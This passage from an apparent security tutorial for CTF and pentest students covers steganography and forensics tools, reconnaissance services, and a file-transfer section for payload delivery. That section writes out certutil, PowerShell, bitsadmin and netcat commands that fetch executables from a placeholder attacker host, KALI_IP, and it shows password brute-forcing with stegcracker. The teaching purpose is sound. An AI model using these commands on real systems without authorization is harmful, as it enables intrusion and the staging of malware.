- -E → Extract data from a specific bit plane
- -e "*" → Extract all possible detected data
- rgb / r / g / b → Analyze specific color channels
- lsb / msb → Analyze least or most significant bits
3. Binwalk – Embedded File Discovery
Binwalk is essential for finding files embedded within other files, especially in firmware or complex image formats.
Installation: Available via Linux package managers or official sources.
# Install binwalk
sudo apt install binwalk -y
# Install additional extraction dependencies
sudo apt install -y squashfs-tools gzip bzip2 tar arj lzop cpio
# Verify installation
binwalk --help
Usage: Common commands for using this tool effectively.
# Scan for embedded files
binwalk image.jpg
# Extract embedded files
binwalk -e image.jpg
# Deep extraction with recursion
binwalk -Me image.jpg
# Display entropy analysis
binwalk -E image.jpg
# Signature scan only
binwalk -B image.jpg
- -e → Automatically extract embedded files
- -M → Enable recursive extraction
- -E → Perform entropy analysis
- -B → Signature scan only (no extraction)
- -D → Extract specific file types
4. Stegcracker – Steghide Password Cracking (GitHub)
Stegcracker automates the process of brute-forcing steghide passwords using wordlists. Essential when you suspect hidden data but don't know the password.
Stegcracker is a Python-based tool and must be installed from GitHub.
# Clone repository
git clone https://github.com/Paradoxis/StegCracker.git
# Move into directory
cd StegCracker
# Install dependencies
pip3 install -r requirements.txt
# If permission / externally-managed error occurs:
pip3 install -r requirements.txt --break-system-packages
# Make executable
chmod +x stegcracker.py
# Verify installation
python3 stegcracker.py --help
Usage: Common commands for using this tool effectively.
# Basic password cracking
stegcracker image.jpg rockyou.txt
# Custom wordlist
stegcracker image.jpg custom_wordlist.txt
# Specify output file
stegcracker image.jpg wordlist.txt -o results.txt
# Show progress
stegcracker image.jpg wordlist.txt -v
- image.jpg → Image containing steghide-protected data
- wordlist.txt → Password wordlist for brute-force attack
- -o → Save cracked password and output to file
- -v → Enable verbose mode (show progress)
5. StegSolve – Visual Analysis (GUI Tool)
StegSolve is a Java-based GUI tool for visual steganography analysis. It allows manual inspection of different color channels and bit planes.
Installation: Available via Linux package managers or official sources.
# Install Java Runtime
sudo apt install default-jre -y
# Create tools directory
mkdir -p ~/tools
cd ~/tools
# Download StegSolve
wget https://github.com/zardus/ctf-tools/raw/master/stegsolve/stegsolve.jar
# Rename for convenience
mv stegsolve.jar StegSolve.jar
# Run StegSolve
java -jar StegSolve.jar
Usage: Common commands for using this tool effectively.
# Typical usage workflow:
1. Open image in StegSolve
2. Use "Analyze > Frame Browser" to navigate bit planes
3. Try "Analyze > Data Extract" for LSB extraction
4. Check different color channels (Red, Green, Blue, Alpha)
5. Look for patterns in "Image Combiner"
# Common operations:
- Red Plane 0: View LSB of red channel
- Green Plane 0: View LSB of green channel
- Blue Plane 0: View LSB of blue channel
- Alpha Plane 0: View LSB of alpha channel (transparency)
- Red / Green / Blue Plane → View individual color channels
- Alpha Plane → Inspect transparency data
- Frame Browser → Navigate bit-plane layers
- Data Extract → Extract LSB-embedded data
- Image Combiner → Combine channels for pattern detection
6. ExifTool – Image Metadata Analysis
ExifTool is used to read, write, and analyze metadata stored in image files. It often reveals hidden comments, software tags, GPS data, or clues left by attackers in CTF challenges.
Installation Process: ExifTool is available in default Linux repositories and can be installed using the package manager.
# Install exiftool
sudo apt update
sudo apt install exiftool -y
# Verify installation
exiftool --help
Usage: Common commands for using this tool effectively.
# Display all metadata
exiftool image.jpg
# Show specific metadata fields
exiftool -Artist -Comment -Software image.jpg
# Extract GPS information (if present)
exiftool -GPSLatitude -GPSLongitude image.jpg
# Show hidden or duplicate tags
exiftool -a -u -g1 image.jpg
# Search for suspicious metadata
exiftool image.jpg | grep -i "comment\|author\|software\|flag"
- -a → Show duplicate tags
- -u → Show unknown metadata tags
- -g → Group output by category
- -GPS* → Extract GPS-related metadata
- -Comment → Display comment fields only
7. Foremost – File Carving Tool
Foremost is a forensic file carving tool that extracts embedded files based on headers and footers. It is useful when images contain hidden archives or deleted files.
Installation Process: Foremost is installed directly from system repositories.
# Install foremost
sudo apt install foremost -y
# Verify installation
foremost --help
Usage: Common commands for using this tool effectively.
# Extract embedded files from image
foremost -i image.jpg -o output/
# Specify configuration file
foremost -c /etc/foremost.conf -i image.jpg -o output/
# Enable verbose output
foremost -v -i image.jpg -o output/
# Recover specific file types only (jpg, zip, png)
foremost -t jpg,zip,png -i image.jpg -o output/
- -i → Input file to analyze
- -o → Output directory for extracted files
- -t → Specify file types to extract
- -v → Enable verbose output
- -c → Use custom configuration file
8. Strings – Embedded Text Discovery (GNU Coreutils)
Strings extracts printable characters from binary files. It is often used as a quick first check for flags, passwords, or readable data hidden inside images.
Installation Process: Strings is part of GNU Binutils and is usually pre-installed on Kali Linux. If missing, it can be installed manually.
# Install binutils if strings is missing
sudo apt install binutils -y
# Verify installation
strings --help
Usage: Common commands for using this tool effectively.
# Extract readable strings from image
strings image.jpg
# Search for common CTF keywords
strings image.jpg | grep -i "flag\|ctf\|thm\|htb"
# Display strings with offset locations
strings -t x image.jpg
# Limit output to long strings only
strings -n 8 image.jpg
# Save extracted strings to a file
strings image.jpg > extracted_strings.txt
- -n → Minimum string length to display
- -t x → Show hexadecimal offset of strings
- -a → Scan entire file
- | grep → Filter output for keywords
- > file.txt → Save output to a file
Image Steganography Tool Suite
Comprehensive toolkit for analyzing and extracting hidden data from image files. Each tool specializes in different steganography techniques and file formats.
| # | Tool | Primary Command | Description / Usage |
|---|---|---|---|
| 1 | Steghide | steghide extract -sf image.jpg |
Hides and extracts encrypted data from image and audio files. Commonly used for password-protected steganography challenges. |
| 2 | Zsteg | zsteg image.png |
Detects LSB and bit-plane steganography in PNG and BMP images. Effective for pixel-level hidden data. |
| 3 | Binwalk | binwalk image.jpg |
Identifies and extracts embedded files such as ZIPs, executables, and firmware data hidden inside images. |
| 4 | Stegcracker | stegcracker image.jpg wordlist.txt |
Brute-forces passwords used by steghide using wordlists. Automatically extracts data after successful cracking. |
| 5 | StegSolve | java -jar StegSolve.jar |
GUI-based tool for visual analysis of color channels, bit planes, and LSB-encoded data. |
| 6 | ExifTool | exiftool image.jpg |
Extracts metadata such as comments, software tags, timestamps, and GPS information from image files. |
| 7 | Foremost | foremost -i image.jpg -o output/ |
Carves embedded files based on file headers and footers. Useful for recovering hidden or deleted content. |
| 8 | Strings | strings image.jpg | grep -i flag |
Extracts readable text from binary files. Often used for quick flag or keyword discovery. |
• Always check file type with
file command first – files may be disguised• Try multiple tools – different tools find different types of hidden data
• Look for password hints in metadata, comments, or the challenge description
• Use
xxd or hexdump for manual binary inspection when automated tools fail
Install these tools on Kali Linux with:
sudo apt install steghide binwalk zsteg exiftool foremostStegSolve: Download from GitHub and run with
java -jar StegSolve.jar
Steganography analysis should only be performed on files you own or have explicit permission to analyze. Unauthorized extraction of hidden data from others' files may violate privacy laws and terms of service.
File Transfer Techniques – Payload Delivery & Lateral Movement
File transfer techniques are critical during post-exploitation, lateral movement, and payload delivery. These methods allow attackers or security testers to move tools, scripts, and executables between systems.
In red team operations and CTF environments, multiple transfer methods should be known because firewalls and security controls may block certain protocols.
1. Impacket smbserver – SMB File Hosting
Creates a temporary SMB share to transfer files from Kali to Windows systems. Commonly used when administrative access is available.
# Install impacket
sudo apt update
sudo apt install python3-impacket -y
# Start SMB share
sudo impacket-smbserver kali . -smb2support
# With authentication
sudo impacket-smbserver kali . -user test -password 1234
- kali → Share name
- . → Current directory
- -smb2support → Enables SMBv2
- -user / -password → Add authentication
2. Python HTTP Server – Quick File Hosting
Lightweight HTTP server used when SMB is blocked or restricted.
# Start HTTP server
python3 -m http.server 8000
# Access from Windows
http://KALI_IP:8000/file.exe
3. Netcat – Direct TCP File Transfer
Transfers files directly over a TCP connection. Useful in restricted or minimal environments.
# Sender (Kali)
nc -lvnp 4444 < file.exe
# Receiver (Windows)
nc KALI_IP 4444 > file.exe
- -l → Listen mode
- -v → Verbose output
- -n → Disable DNS resolution
- -p → Specify port
4. SCP – Secure Copy (SSH)
Secure file transfer over SSH protocol. Encrypted and commonly used in Linux environments.
# Upload file
scp file.txt user@target_ip:/home/user/
# Download file
scp user@target_ip:/home/user/file.txt .
5. FTP / TFTP – Legacy Transfer Methods
Older protocols that may still be enabled on legacy systems.
# Start FTP service (Kali)
sudo service vsftpd start
# Connect
ftp target_ip
6. Certutil – Windows Native Download Tool
Built-in Windows utility often used to download payloads.
certutil -urlcache -split -f http://KALI_IP/file.exe file.exe
- -urlcache → Download from URL
- -split → Split large files
- -f → Force overwrite
7. PowerShell – Invoke-WebRequest
Invoke-WebRequest "http://KALI_IP/file.exe" -OutFile "file.exe"
# Alternative method
(New-Object Net.WebClient).DownloadFile("http://KALI_IP/file.exe","file.exe")
8. Bitsadmin – Background Intelligent Transfer
Uses Windows BITS service to transfer files in the background.
bitsadmin /transfer myJob http://KALI_IP/file.exe C:\Users\Public\file.exe
- /transfer → Create transfer job
- myJob → Job name
- URL → Source file
- Destination → Local save path
File Transfer Tool Comparison
| # | Tool | Protocol | Best Use Case |
|---|---|---|---|
| 1 | Impacket smbserver | SMB (445) | Internal Windows transfer |
| 2 | Python HTTP | HTTP (8000) | Quick lightweight hosting |
| 3 | Netcat | TCP | Restricted environments |
| 4 | SCP | SSH (22) | Encrypted Linux transfer |
| 5 | FTP/TFTP | 21 / 69 | Legacy systems |
| 6 | Certutil | HTTP | Native Windows method |
| 7 | PowerShell | HTTP | Script-based download |
| 8 | Bitsadmin | BITS Service | Background stealth transfer |
• Always try multiple transfer methods if one fails
• Use encrypted protocols (SCP/HTTPS) when possible
• Check firewall rules before selecting protocol
• Monitor logs to understand detection risks
File transfer techniques must only be used in authorized lab environments or with explicit permission. Unauthorized payload delivery is illegal.
Tools.1 Burp Suite – Web Application Testing (UI)
Burp Suite is a graphical web application security testing platform widely used in CEH to intercept, analyze, and manipulate HTTP and HTTPS traffic between a browser and a web server.
Information Gathering:
Burp Suite captures request and response data including URLs, parameters,
cookies, session tokens, headers, authentication details, and application
logic flaws.
How Burp Suite Works:
Burp acts as an intercepting proxy. When configured in a browser, all web
traffic passes through Burp, allowing the tester to view, modify, and replay
requests before they reach the server.
How It Is Used:
Ethical hackers use Burp to test for vulnerabilities such as SQL Injection,
XSS, CSRF, authentication bypass, and insecure session handling.
Official URL: https://portswigger.net/burp
Configure browser proxy → Intercept requests → Analyze & test
Tools.2 WHOIS – Domain Registration & Ownership
WHOIS is a web-based information lookup service used to retrieve registration details of a domain or IP address.
Information Gathering:
WHOIS reveals domain owner details, registrar information, registration
dates, expiration dates, name servers, and administrative contacts.
How WHOIS Works:
WHOIS queries public domain registration databases maintained by registrars
and registry organizations to retrieve ownership metadata.
How It Is Used:
Used in passive reconnaissance to profile a target organization, identify
related domains, and understand infrastructure ownership without interacting
directly with the target system.
Official URL: https://www.whois.com/
Search domain → Analyze registration & DNS details
Tools.12 Shodan – Asset Search
Shodan is a search engine designed to discover internet-facing devices, servers, and services connected to the public internet.
Information Gathering:
Shodan reveals exposed services, open ports, banners, operating systems,
geographic locations, and known vulnerabilities of internet-accessible assets.
How Shodan Works:
Shodan continuously scans the internet by connecting to IP addresses and
collecting service banners, which are indexed and searchable through its UI.
How It Is Used:
Ethical hackers use Shodan to identify exposed systems, misconfigured services,
IoT devices, and outdated software without directly scanning the target.
Official URL: https://www.shodan.io/
Search filters → Analyze exposed services → Identify risks
Tools.4 Censys – Internet Asset Discovery
Censys is a web-based internet scanning and asset discovery platform used to identify hosts, services, certificates, and exposed infrastructure across the global internet.
Information Gathering:
Censys collects data such as IP addresses, open ports, running services,
TLS/SSL certificates, domains, subdomains, and cloud-hosted assets.
It is especially useful for discovering HTTPS services and certificate
relationships.
How Censys Works:
Censys continuously scans the internet and indexes service metadata and
certificate transparency logs. Users can search this indexed data using
filters such as IP ranges, domains, ports, protocols, and certificate fields.
How It Is Used:
Ethical hackers use Censys during passive reconnaissance to identify exposed
services, forgotten hosts, misconfigured servers, and certificate reuse
without sending any traffic to the target organization.
Official URL: https://search.censys.io/
Search domain / IP → Analyze exposed services & certificates
Tools.14 DNSDumpster – DNS & Subdomain Recon
DNSDumpster is a web-based reconnaissance tool used to map DNS infrastructure and discover subdomains of a target domain.
Information Gathering:
DNSDumpster provides subdomains, DNS records (A, MX, NS, TXT), IP addresses,
and visual network maps.
How DNSDumpster Works:
It aggregates data from DNS queries, search engines, and passive sources to
generate a comprehensive DNS footprint of the target.
How It Is Used:
Used in early reconnaissance to expand the target scope and identify
additional hosts for scanning and testing.
Official URL: https://dnsdumpster.com/
Enter domain → Review DNS records & subdomains